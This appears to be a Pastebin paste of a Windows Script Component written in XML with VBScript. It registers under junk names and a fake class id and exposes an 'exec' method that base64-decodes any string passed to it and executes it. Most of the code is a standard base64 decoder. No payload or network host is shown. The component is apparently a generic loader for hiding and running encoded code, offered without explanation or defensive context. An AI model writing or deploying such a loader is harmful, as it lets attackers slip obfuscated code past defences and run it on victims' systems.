Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?XML version="1.0"?>
- <scriptlet>
- <registration
- description="Graihhrj"
- progid="Graihheerj"
- version="1.00"
- classid="{F0001111-0111-0000-0000-0000FFEDACDC}"
- >
- </registration>
- <public>
- <method name="exec"></method>
- </public>
- <script language="VBScript">
- <![CDATA[
- Function exec(sUrl)
- exec = execute(Base64Decode(sUrl))
- End Function
- Function Base64Decode(ByVal base64String)
- 'rfc1521
- '1999 Antonin Foller, Motobit Software, http://Motobit.cz
- Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
- Dim dataLength, sOut, groupBegin
- 'remove white spaces, If any
- base64String = Replace(base64String, vbCrLf, "")
- base64String = Replace(base64String, vbTab, "")
- base64String = Replace(base64String, " ", "")
- 'The source must consists from groups with Len of 4 chars
- dataLength = Len(base64String)
- If dataLength Mod 4 <> 0 Then
- Err.Raise 1, "Base64Decode", "Bad Base64 string."
- Exit Function
- End If
- ' Now decode each group:
- For groupBegin = 1 To dataLength Step 4
- Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
- ' Each data group encodes up To 3 actual bytes.
- numDataBytes = 3
- nGroup = 0
- For CharCounter = 0 To 3
- ' Convert each character into 6 bits of data, And add it To
- ' an integer For temporary storage. If a character is a '=', there
- ' is one fewer data byte. (There can only be a maximum of 2 '=' In
- ' the whole string.)
- thisChar = Mid(base64String, groupBegin + CharCounter, 1)
- If thisChar = "=" Then
- numDataBytes = numDataBytes - 1
- thisData = 0
- Else
- thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
- End If
- If thisData = -1 Then
- Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
- Exit Function
- End If
- nGroup = 64 * nGroup + thisData
- Next
- 'Hex splits the long To 6 groups with 4 bits
- nGroup = Hex(nGroup)
- 'Add leading zeros
- nGroup = String(6 - Len(nGroup), "0") & nGroup
- 'Convert the 3 byte hex integer (6 chars) To 3 characters
- pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
- Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
- Chr(CByte("&H" & Mid(nGroup, 5, 2)))
- 'add numDataBytes characters To out string
- sOut = sOut & Left(pOut, numDataBytes)
- Next
- Base64Decode = sOut
- End Function
- ]]>
- </script>
- </scriptlet>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement